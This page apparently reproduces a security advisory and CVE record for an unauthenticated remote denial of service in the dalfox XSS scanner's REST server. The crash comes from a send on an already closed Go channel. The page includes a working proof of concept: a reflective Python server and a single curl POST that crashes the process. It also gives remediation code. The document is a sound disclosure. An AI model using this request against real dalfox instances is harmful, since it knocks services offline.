Vulnerability-Lookup

GHSA-2G4X-FQ3J-CGQ4

Vulnerability from github – Published: 2026-05-12 15:08 – Updated: 2026-05-12 15:08

Summary

Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)

Details

Summary

ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage — which processes POST-body parameters (dp) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != "" (i.e., the attacker supplies the data field) and the target reflects at least one parameter.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network — server binds to 0.0.0.0:6664 by default; reachable by any network peer.
Attack Complexity: Low — the attacker controls both trigger conditions: the data field that populates the second stage's work queue, and the target URL they point at a reflective server they control.
Privileges Required: None — --api-key defaults to "", so no auth middleware is registered.
User Interaction: None.
Scope: Unchanged — a goroutine panic without a recover terminates the entire Go process; the impact stays within the dalfox process authority.
Confidentiality Impact: None.
Integrity Impact: None.
Availability Impact: High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.

Note on PR #917: Commit 8a424d1 (fix: resolve data race and nil pointer panic in processParams) fixed two concurrent-safety bugs in processParams — a data race on paramResult.Chars and a nil pointer dereference on resp.Header. It did not fix the closed-channel panic reported here, which is a structural ordering bug in ParameterAnalysis itself, not inside processParams.

Affected Component

pkg/scanning/parameterAnalysis.go — ParameterAnalysis() (lines 436–448): results channel closed at line 438, then passed to second-stage processParams workers at line 445
pkg/scanning/parameterAnalysis.go — processParams() (line 299): results <- paramResult panics when results is closed

CWE

CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error
CWE-404: Improper Resource Shutdown or Release

Description

Two-Stage Channel Lifecycle Ordering Error

ParameterAnalysis allocates a single results channel shared by both worker stages:

// pkg/scanning/parameterAnalysis.go:397-408
paramsQue := make(chan string, concurrency)
results := make(chan model.ParamResult, concurrency)   // ← single channel for both stages

go func() {
    for result := range results {   // consumer exits when results is closed
        mutex.Lock()
        params[result.Name] = result
        mutex.Unlock()
    }
}()

First stage (URL parameters in p):

// lines 410-437
for i := 0; i < concurrency; i++ {
    wgg.Add(1)
    go func() {
        processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)
        wgg.Done()
    }()
}
// ... feed paramsQue ...
close(paramsQue)
wgg.Wait()
close(results)   // ← line 438: results is now closed; consumer goroutine exits

Second stage (POST-body parameters in dp):

// lines 440-448
var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
for j := 0; j < concurrency; j++ {
    wggg.Add(1)
    go func() {
        processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
        //                                   ^^^^^^^ — same closed channel
        wggg.Done()
    }()
}

When a second-stage worker finds a reflected parameter, processParams sends to the closed channel:

// pkg/scanning/parameterAnalysis.go:299
results <- paramResult   // panic: send on closed channel

A Go runtime panic in a goroutine without a recover terminates the entire program. In server mode, this kills the dalfox API server process.

Trigger Conditions Are Both Attacker-Controlled

Condition 1 — dp is non-empty: dp (the POST-body parameter map) is populated in addParamsFromWordlist → setP whenever options.Data != "":

// parameterAnalysis.go:41-45
if options.Data != "" {
    if dp.Get(name) == "" {
        dp.Set(name, "")
    }
}

The attacker sets "data": "q=test" in the JSON body, which propagates through Initialize (lib/func.go:106). With "mining-dict": true, the entire GF-XSS wordlist (hundreds of parameters) flows into dp, ensuring the second stage has ample work.

Condition 2 — a parameter is reflected: processParams sends to results only when vrs (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing vrs = true on the first matching entry from the wordlist.

PR #917 Fixed Different Bugs

Commit 8a424d1 addressed: 1. Data race: concurrent append(paramResult.Chars, char) with no mutex → added charsMu sync.Mutex 2. Nil pointer: resp.Header accessed when resp == nil → added && resp != nil guard

Neither change touches the channel lifecycle in ParameterAnalysis. The closed-channel panic is independent and remains unpatched.

Proof of Concept

# Step 1 — Attacker-controlled reflective server
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def _h(self):
        qs = parse_qs(urlparse(self.path).query)
        n = int(self.headers.get('Content-Length', '0'))
        body = self.rfile.read(n).decode() if n else ''
        bq = parse_qs(body)
        v = qs.get('q', [''])[0] or bq.get('q', [''])[0]
        out = f'<html><body>{v}</body></html>'.encode()
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(out)))
        self.end_headers()
        self.wfile.write(out)
    def do_GET(self): self._h()
    def do_POST(self): self._h()
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18083), H).serve_forever()
PY

# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest

# Step 3 — Single unauthenticated request terminates the server process
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18083/?q=test",
    "options": {
      "data": "q=test",
      "mining-dict": true,
      "use-headless": false,
      "worker": 1
    }
  }'

# Expected: dalfox process exits immediately with:
# goroutine N [running]:
# panic: send on closed channel
#   pkg/scanning/parameterAnalysis.go:299 +0x...

# Step 4 — Verify server is down
curl -s http://127.0.0.1:16664/health
# Expected: connection refused

No X-API-KEY header is required. The reflective server is attacker-controlled and guarantees the vrs = true condition that triggers the channel write.

Impact

Complete server process crash on a single unauthenticated POST request — no login, no API key, no special permissions required.
All in-flight scans are lost without results.
The server requires a manual restart; under automated process managers (systemd, Docker --restart=always) repeated triggering can create a denial-of-service loop.
The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions.

Recommended Remediation

Option 1: Allocate a fresh `results` channel for the second stage (preferred)

The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.

// pkg/scanning/parameterAnalysis.go — replace the second stage block:

var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
results2 := make(chan model.ParamResult, concurrency)   // fresh channel

go func() {
    for result := range results2 {
        mutex.Lock()
        params[result.Name] = result
        mutex.Unlock()
    }
}()

for j := 0; j < concurrency; j++ {
    wggg.Add(1)
    go func() {
        processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)
        wggg.Done()
    }()
}

// ... feed paramsDataQue ...
close(paramsDataQue)
wggg.Wait()
close(results2)   // close after all writers are done

Option 2: Merge both parameter maps before the single worker stage

Process p and dp entries through a single shared paramsQue and results, eliminating the two-stage design:

// Before the worker loop, merge dp into p (or into a unified queue):
for k := range dp {
    // feed to the same paramsQue along with p entries
}
// Then run a single close(paramsQue) → wgg.Wait() → close(results)

This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.

Option 3: Add a `recover` in processParams goroutines (stopgap only)

Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:

go func() {
    defer func() {
        if r := recover(); r != nil {
            printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options)
        }
        wggg.Done()
    }()
    processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
}()

Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hahwul/dalfox/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-404"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:08:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage \u2014 which processes POST-body parameters (`dp`) \u2014 is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results \u003c- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != \"\"` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network \u2014 server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 the attacker controls both trigger conditions: the `data` field that populates the second stage\u0027s work queue, and the target URL they point at a reflective server they control.\n- **Privileges Required:** None \u2014 `--api-key` defaults to `\"\"`, so no auth middleware is registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged \u2014 a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority.\n- **Confidentiality Impact:** None.\n- **Integrity Impact:** None.\n- **Availability Impact:** High \u2014 the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.\n\n**Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` \u2014 a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`.\n\n## Affected Component\n\n- `pkg/scanning/parameterAnalysis.go` \u2014 `ParameterAnalysis()` (lines 436\u2013448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445\n- `pkg/scanning/parameterAnalysis.go` \u2014 `processParams()` (line 299): `results \u003c- paramResult` panics when `results` is closed\n\n## CWE\n\n- **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027) \u2014 channel lifecycle ordering error\n- **CWE-404**: Improper Resource Shutdown or Release\n\n## Description\n\n### Two-Stage Channel Lifecycle Ordering Error\n\n`ParameterAnalysis` allocates a single `results` channel shared by both worker stages:\n\n```go\n// pkg/scanning/parameterAnalysis.go:397-408\nparamsQue := make(chan string, concurrency)\nresults := make(chan model.ParamResult, concurrency)   // \u2190 single channel for both stages\n\ngo func() {\n    for result := range results {   // consumer exits when results is closed\n        mutex.Lock()\n        params[result.Name] = result\n        mutex.Unlock()\n    }\n}()\n```\n\n**First stage** (URL parameters in `p`):\n\n```go\n// lines 410-437\nfor i := 0; i \u003c concurrency; i++ {\n    wgg.Add(1)\n    go func() {\n        processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)\n        wgg.Done()\n    }()\n}\n// ... feed paramsQue ...\nclose(paramsQue)\nwgg.Wait()\nclose(results)   // \u2190 line 438: results is now closed; consumer goroutine exits\n```\n\n**Second stage** (POST-body parameters in `dp`):\n\n```go\n// lines 440-448\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nfor j := 0; j \u003c concurrency; j++ {\n    wggg.Add(1)\n    go func() {\n        processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n        //                                   ^^^^^^^ \u2014 same closed channel\n        wggg.Done()\n    }()\n}\n```\n\nWhen a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel:\n\n```go\n// pkg/scanning/parameterAnalysis.go:299\nresults \u003c- paramResult   // panic: send on closed channel\n```\n\nA Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process.\n\n### Trigger Conditions Are Both Attacker-Controlled\n\n**Condition 1 \u2014 `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` \u2192 `setP` whenever `options.Data != \"\"`:\n\n```go\n// parameterAnalysis.go:41-45\nif options.Data != \"\" {\n    if dp.Get(name) == \"\" {\n        dp.Set(name, \"\")\n    }\n}\n```\n\nThe attacker sets `\"data\": \"q=test\"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `\"mining-dict\": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work.\n\n**Condition 2 \u2014 a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 \u2192 line 299). The attacker controls the target URL \u2014 they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist.\n\n### PR #917 Fixed Different Bugs\n\nCommit `8a424d1` addressed:\n1. Data race: concurrent `append(paramResult.Chars, char)` with no mutex \u2192 added `charsMu sync.Mutex`\n2. Nil pointer: `resp.Header` accessed when `resp == nil` \u2192 added `\u0026\u0026 resp != nil` guard\n\nNeither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Attacker-controlled reflective server\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def _h(self):\n        qs = parse_qs(urlparse(self.path).query)\n        n = int(self.headers.get(\u0027Content-Length\u0027, \u00270\u0027))\n        body = self.rfile.read(n).decode() if n else \u0027\u0027\n        bq = parse_qs(body)\n        v = qs.get(\u0027q\u0027, [\u0027\u0027])[0] or bq.get(\u0027q\u0027, [\u0027\u0027])[0]\n        out = f\u0027\u003chtml\u003e\u003cbody\u003e{v}\u003c/body\u003e\u003c/html\u003e\u0027.encode()\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n        self.send_header(\u0027Content-Length\u0027, str(len(out)))\n        self.end_headers()\n        self.wfile.write(out)\n    def do_GET(self): self._h()\n    def do_POST(self): self._h()\n    def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18083), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 Single unauthenticated request terminates the server process\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\n    \"url\": \"http://127.0.0.1:18083/?q=test\",\n    \"options\": {\n      \"data\": \"q=test\",\n      \"mining-dict\": true,\n      \"use-headless\": false,\n      \"worker\": 1\n    }\n  }\u0027\n\n# Expected: dalfox process exits immediately with:\n# goroutine N [running]:\n# panic: send on closed channel\n#   pkg/scanning/parameterAnalysis.go:299 +0x...\n\n# Step 4 \u2014 Verify server is down\ncurl -s http://127.0.0.1:16664/health\n# Expected: connection refused\n```\n\nNo `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write.\n\n## Impact\n\n- **Complete server process crash** on a single unauthenticated POST request \u2014 no login, no API key, no special permissions required.\n- All in-flight scans are lost without results.\n- The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop.\n- The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance \u2014 both attacker-controlled conditions.\n\n## Recommended Remediation\n\n### Option 1: Allocate a fresh `results` channel for the second stage (preferred)\n\nThe simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.\n\n```go\n// pkg/scanning/parameterAnalysis.go \u2014 replace the second stage block:\n\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nresults2 := make(chan model.ParamResult, concurrency)   // fresh channel\n\ngo func() {\n    for result := range results2 {\n        mutex.Lock()\n        params[result.Name] = result\n        mutex.Unlock()\n    }\n}()\n\nfor j := 0; j \u003c concurrency; j++ {\n    wggg.Add(1)\n    go func() {\n        processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)\n        wggg.Done()\n    }()\n}\n\n// ... feed paramsDataQue ...\nclose(paramsDataQue)\nwggg.Wait()\nclose(results2)   // close after all writers are done\n```\n\n### Option 2: Merge both parameter maps before the single worker stage\n\nProcess `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design:\n\n```go\n// Before the worker loop, merge dp into p (or into a unified queue):\nfor k := range dp {\n    // feed to the same paramsQue along with p entries\n}\n// Then run a single close(paramsQue) \u2192 wgg.Wait() \u2192 close(results)\n```\n\nThis is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.\n\n### Option 3: Add a `recover` in processParams goroutines (stopgap only)\n\nCatching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:\n\n```go\ngo func() {\n    defer func() {\n        if r := recover(); r != nil {\n            printing.DalLog(\"ERROR\", fmt.Sprintf(\"processParams panic recovered: %v\", r), options)\n        }\n        wggg.Done()\n    }()\n    processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n}()\n```\n\nOption 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-2g4x-fq3j-cgq4",
  "modified": "2026-05-12T15:08:41Z",
  "published": "2026-05-12T15:08:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hahwul/dalfox"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)"
}

CVE-2026-45090 (GCVE-0-2026-45090)

Vulnerability from cvelistv5 – Published: 2026-05-27 17:33 – Updated: 2026-05-28 15:11

Title

Dalfox: Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)

Summary

Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage — which processes POST-body parameters (dp) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != "" (i.e., the attacker supplies the data field) and the target reflects at least one parameter. This vulnerability is fixed in 2.13.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
CWE-404 - Improper Resource Shutdown or Release

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/hahwul/dalfox/security/advisor…	x_refsource_CONFIRM
https://github.com/hahwul/dalfox/releases/tag/v2.13.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
hahwul	dalfox	Affected: < 2.13.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45090",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-28T15:10:33.002780Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-28T15:11:11.119Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dalfox",
          "vendor": "hahwul",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.13.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage \u2014 which processes POST-body parameters (dp) \u2014 is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results \u003c- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != \"\" (i.e., the attacker supplies the data field) and the target reflects at least one parameter. This vulnerability is fixed in 2.13.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-362",
              "description": "CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-404",
              "description": "CWE-404: Improper Resource Shutdown or Release",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-27T17:33:06.856Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4"
        },
        {
          "name": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
        }
      ],
      "source": {
        "advisory": "GHSA-2g4x-fq3j-cgq4",
        "discovery": "UNKNOWN"
      },
      "title": "Dalfox: Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45090",
    "datePublished": "2026-05-27T17:33:06.856Z",
    "dateReserved": "2026-05-08T19:27:26.698Z",
    "dateUpdated": "2026-05-28T15:11:11.119Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-2G4X-FQ3J-CGQ4

Summary

Severity

Affected Component

CWE

Description

Two-Stage Channel Lifecycle Ordering Error

Trigger Conditions Are Both Attacker-Controlled

PR #917 Fixed Different Bugs

Proof of Concept

Impact

Recommended Remediation

Option 1: Allocate a fresh results channel for the second stage (preferred)

Option 2: Merge both parameter maps before the single worker stage

Option 3: Add a recover in processParams goroutines (stopgap only)

Credit

CVE-2026-45090 (GCVE-0-2026-45090)

Tags

Sightings

Nomenclature

Option 1: Allocate a fresh `results` channel for the second stage (preferred)

Option 3: Add a `recover` in processParams goroutines (stopgap only)